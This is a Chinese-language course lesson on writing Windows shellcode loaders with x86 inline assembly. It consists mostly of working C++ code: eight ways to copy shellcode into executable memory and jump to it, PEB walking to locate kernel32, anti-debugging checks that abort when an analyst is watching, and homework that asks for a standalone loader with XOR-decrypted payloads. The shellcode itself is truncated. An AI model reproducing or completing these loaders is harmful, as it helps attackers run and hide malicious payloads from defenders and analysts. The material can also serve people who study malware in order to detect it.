shellcode loader
1、C++内联汇编实现shellcode loader
1、课程目标
- 理解内联汇编在ShellCode加载中的应用
- 掌握使用内联汇编执行ShellCode的方法
- 了解内联汇编的优势和限制
- 实现多种内联汇编加载技术
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| Inline Assembly | 内联汇编 | 在C/C++代码中直接嵌入汇编指令 |
| __asm | - | MSVC内联汇编关键字 |
| naked | 裸函数 | 不生成函数序言和尾声的函数 |
| Prologue | 函数序言 | 函数开始时的栈帧建立代码 |
| Epilogue | 函数尾声 | 函数结束时的栈帧清理代码 |
| JIT | Just-In-Time | 即时编译/执行 |
3、使用工具
| 工具 | 用途 | 备注 |
|---|---|---|
| Visual Studio | 开发环境 | 仅x86支持__asm |
| x64dbg | 调试验证 | 观察汇编执行 |
| msfvenom | 生成测试ShellCode | Metasploit |
4、技术原理
1. 内联汇编基础
// MSVC语法
__asm {
mov eax, 1
add eax, ebx
}
// 单行语法
__asm mov eax, 1
__asm add eax, ebx
// GCC语法 (参考)
asm volatile (
"mov $1, %%eax\n\t"
"add %%ebx, %%eax"
: "=a"(result)
: "b"(value)
);
2. naked函数特点
__declspec(naked) void NakedFunction() {
// 没有自动生成的序言代码
// 没有自动生成的尾声代码
// 必须手动管理栈和返回
__asm {
push ebp
mov ebp, esp
// ... 函数体 ...
mov esp, ebp
pop ebp
ret
}
}
3. 执行流程
┌─────────────────────────────────────┐
│ 1. 分配可执行内存 │
│ VirtualAlloc(PAGE_EXECUTE_...) │
├─────────────────────────────────────┤
│ 2. 复制ShellCode到内存 │
│ memcpy / 内联汇编复制 │
├─────────────────────────────────────┤
│ 3. 使用内联汇编跳转执行 │
│ jmp / call 目标地址 │
├─────────────────────────────────────┤
│ 4. ShellCode执行并返回 │
│ 或 ExitProcess/ExitThread │
└─────────────────────────────────────┘
4、代码实现
1. 基础内联汇编Loader
// inline_asm_loader.cpp
// 使用内联汇编执行ShellCode (仅x86)
#include <windows.h>
#include <stdio.h>
// 测试ShellCode - MessageBox (需要替换为实际ShellCode)
unsigned char shellcode[] =
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
// ... 省略完整ShellCode
"\x90\x90\x90\x90\xCC\xC3"; // NOP + INT3 + RET
// 方法1: 基础jmp方式
void Method1_BasicJmp() {
printf("[*] Method 1: Basic JMP\n");
LPVOID exec = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) {
printf("[-] VirtualAlloc failed\n");
return;
}
printf("[+] Allocated at: %p\n", exec);
memcpy(exec, shellcode, sizeof(shellcode));
printf("[*] Jumping to shellcode...\n");
__asm {
mov eax, exec
jmp eax
}
// 注意:如果ShellCode不返回,这里不会执行
VirtualFree(exec, 0, MEM_RELEASE);
}
// 方法2: call方式(可以返回)
void Method2_CallReturn() {
printf("[*] Method 2: CALL with Return\n");
LPVOID exec = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) return;
memcpy(exec, shellcode, sizeof(shellcode));
DWORD result;
__asm {
mov eax, exec
call eax
mov result, eax
}
printf("[+] ShellCode returned: 0x%08X\n", result);
VirtualFree(exec, 0, MEM_RELEASE);
}
// 方法3: 保存并恢复所有寄存器
void Method3_SaveRegisters() {
printf("[*] Method 3: Save/Restore Registers\n");
LPVOID exec = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) return;
memcpy(exec, shellcode, sizeof(shellcode));
__asm {
// 保存所有寄存器
pushad
pushfd
// 调用ShellCode
mov eax, exec
call eax
// 恢复所有寄存器
popfd
popad
}
printf("[+] Execution completed\n");
VirtualFree(exec, 0, MEM_RELEASE);
}
// 方法4: 使用naked函数封装
__declspec(naked) void ExecuteShellcodeNaked(LPVOID shellcodeAddr) {
__asm {
// 获取参数
mov eax, [esp + 4] // shellcodeAddr
// 保存寄存器
pushad
// 跳转执行
call eax
// 恢复寄存器
popad
// 返回
ret
}
}
void Method4_NakedWrapper() {
printf("[*] Method 4: Naked Function Wrapper\n");
LPVOID exec = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) return;
memcpy(exec, shellcode, sizeof(shellcode));
ExecuteShellcodeNaked(exec);
printf("[+] Execution completed\n");
VirtualFree(exec, 0, MEM_RELEASE);
}
// 方法5: 内联复制和执行
void Method5_InlineCopyExec() {
printf("[*] Method 5: Inline Copy & Execute\n");
LPVOID exec = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) return;
// 使用内联汇编复制(避免调用memcpy)
__asm {
mov esi, offset shellcode // 源地址
mov edi, exec // 目标地址
mov ecx, sizeof(shellcode) // 大小
rep movsb // 复制
// 直接执行
pushad
mov eax, exec
call eax
popad
}
VirtualFree(exec, 0, MEM_RELEASE);
}
// 方法6: 栈上执行(小型ShellCode)
void Method6_StackExec() {
printf("[*] Method 6: Stack Execution (Small Shellcode)\n");
// 注意:需要禁用栈保护,且栈需要可执行权限
// 现代系统默认开启DEP,此方法可能失败
unsigned char small_shellcode[] = {
0x31, 0xC0, // xor eax, eax
0x40, // inc eax
0xC3 // ret
};
// 尝试使栈可执行
DWORD oldProtect;
VirtualProtect(small_shellcode, sizeof(small_shellcode),
PAGE_EXECUTE_READWRITE, &oldProtect);
DWORD result;
__asm {
lea eax, small_shellcode
call eax
mov result, eax
}
printf("[+] Result: %d\n", result);
VirtualProtect(small_shellcode, sizeof(small_shellcode),
oldProtect, &oldProtect);
}
// 方法7: 使用局部变量作为ShellCode容器
void Method7_LocalVariable() {
printf("[*] Method 7: Local Variable Container\n");
// 在栈上分配(需要足够小)
unsigned char local_sc[256];
// 复制
memcpy(local_sc, shellcode, min(sizeof(shellcode), sizeof(local_sc)));
// 修改权限
DWORD oldProtect;
if (!VirtualProtect(local_sc, sizeof(local_sc),
PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[-] VirtualProtect failed\n");
return;
}
__asm {
lea eax, local_sc
pushad
call eax
popad
}
VirtualProtect(local_sc, sizeof(local_sc), oldProtect, &oldProtect);
}
// 方法8: 带参数传递的ShellCode调用
void Method8_WithParameters() {
printf("[*] Method 8: With Parameters\n");
// 假设ShellCode期望参数在栈上
LPVOID exec = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) return;
memcpy(exec, shellcode, sizeof(shellcode));
DWORD param1 = 0x12345678;
DWORD param2 = 0xDEADBEEF;
__asm {
// 传递参数(cdecl调用约定)
push param2
push param1
// 调用
mov eax, exec
call eax
// 清理栈
add esp, 8
}
VirtualFree(exec, 0, MEM_RELEASE);
}
int main(int argc, char* argv[]) {
printf("========================================\n");
printf(" Inline Assembly ShellCode Loader \n");
printf("========================================\n\n");
printf("[!] Note: x86 only, x64 does not support __asm\n\n");
#ifdef _WIN64
printf("[-] This program must be compiled as x86!\n");
return 1;
#endif
int method = 2; // 默认方法
if (argc >= 2) {
method = atoi(argv[1]);
}
printf("[*] Executing method %d\n\n", method);
switch (method) {
case 1: Method1_BasicJmp(); break;
case 2: Method2_CallReturn(); break;
case 3: Method3_SaveRegisters(); break;
case 4: Method4_NakedWrapper(); break;
case 5: Method5_InlineCopyExec(); break;
case 6: Method6_StackExec(); break;
case 7: Method7_LocalVariable(); break;
case 8: Method8_WithParameters(); break;
default:
printf("Methods 1-8 available\n");
}
printf("\n[*] Done.\n");
return 0;
}
2. 高级内联汇编技术
// advanced_inline_asm.cpp
// 高级内联汇编Loader技术
#include <windows.h>
#include <stdio.h>
// 使用内联汇编动态调用VirtualAlloc
__declspec(naked) LPVOID __stdcall InlineVirtualAlloc(
SIZE_T dwSize, DWORD flProtect)
{
__asm {
// 获取kernel32基址
mov eax, fs:[0x30] // PEB
mov eax, [eax + 0x0C] // Ldr
mov eax, [eax + 0x14] // InMemoryOrderModuleList
mov eax, [eax] // ntdll
mov eax, [eax] // kernel32
mov ebx, [eax + 0x10] // DllBase
// 解析导出表获取VirtualAlloc
mov eax, [ebx + 0x3C] // e_lfanew
mov eax, [ebx + eax + 0x78] // 导出表RVA
add eax, ebx // 导出表VA
// 这里需要完整的导出表解析...
// 简化起见,直接使用已知偏移或硬编码
// 调用VirtualAlloc
push [esp + 8] // flProtect
push 0x1000 // MEM_COMMIT
push [esp + 12] // dwSize (调整偏移)
push 0 // lpAddress
// call VirtualAlloc
// 假设地址在某个寄存器中
ret 8
}
}
// 使用SEH的ShellCode执行
void ExecuteWithSEH(LPVOID shellcode) {
printf("[*] Executing with SEH protection\n");
__try {
__asm {
mov eax, shellcode
pushad
call eax
popad
}
printf("[+] Execution completed normally\n");
}
__except(EXCEPTION_EXECUTE_HANDLER) {
printf("[-] Exception caught: 0x%08X\n", GetExceptionCode());
}
}
// 完全内联的Loader(不依赖外部函数)
__declspec(naked) void StandaloneLoader() {
__asm {
pushad
// === 获取kernel32 ===
xor ecx, ecx
mov eax, fs:[0x30]
mov eax, [eax + 0x0C]
mov eax, [eax + 0x14]
find_kernel32:
mov esi, [eax + 0x28]
test esi, esi
jz next_module
movzx edx, word ptr [esi]
or edx, 0x20
cmp dl, 'k'
jne next_module
movzx edx, word ptr [esi + 0x0E]
cmp dl, '3'
jne next_module
mov ebx, [eax + 0x10] // kernel32 base
jmp got_kernel32
next_module:
mov eax, [eax]
jmp find_kernel32
got_kernel32:
// ebx = kernel32
// === 查找VirtualAlloc ===
// (需要完整的函数查找代码)
// === 分配内存 ===
push 0x40 // PAGE_EXECUTE_READWRITE
push 0x1000 // MEM_COMMIT
push 0x1000 // Size
push 0 // NULL
// call VirtualAlloc
// === 复制ShellCode ===
// mov edi, eax
// mov esi, shellcode_address
// mov ecx, shellcode_size
// rep movsb
// === 执行 ===
// call eax
popad
ret
}
}
// 反调试内联汇编
__declspec(naked) BOOL IsDebuggerPresentAsm() {
__asm {
mov eax, fs:[0x30] // PEB
movzx eax, byte ptr [eax + 0x02] // BeingDebugged
ret
}
}
// 带反调试的Loader
void AntiDebugLoader(LPVOID shellcode, SIZE_T size) {
// 检查调试器
BOOL debugged;
__asm {
mov eax, fs:[0x30]
movzx eax, byte ptr [eax + 0x02]
mov debugged, eax
}
if (debugged) {
printf("[-] Debugger detected!\n");
return;
}
// 时间检测
DWORD t1, t2;
__asm {
rdtsc
mov t1, eax
}
// 一些操作
Sleep(1);
__asm {
rdtsc
mov t2, eax
}
if (t2 - t1 > 0x10000000) {
printf("[-] Timing anomaly detected!\n");
return;
}
// 执行ShellCode
LPVOID exec = VirtualAlloc(NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec) {
memcpy(exec, shellcode, size);
__asm {
mov eax, exec
call eax
}
VirtualFree(exec, 0, MEM_RELEASE);
}
}
int main() {
printf("========================================\n");
printf(" Advanced Inline ASM Loader \n");
printf("========================================\n\n");
#ifndef _WIN64
// 测试反调试
if (IsDebuggerPresentAsm()) {
printf("[-] Debugger detected by ASM check\n");
} else {
printf("[+] No debugger detected\n");
}
#endif
return 0;
}
3、课后作业
3.1、作业1:完善StandaloneLoader
完成StandaloneLoader函数,实现不依赖任何外部函数的完整加载器。
3.2、作业2:添加解密功能
在内联汇编中实现XOR解密,执行前解密ShellCode。
3.3、作业3:实现参数传递
实现一个能够向ShellCode传递多个参数的内联汇编Loader。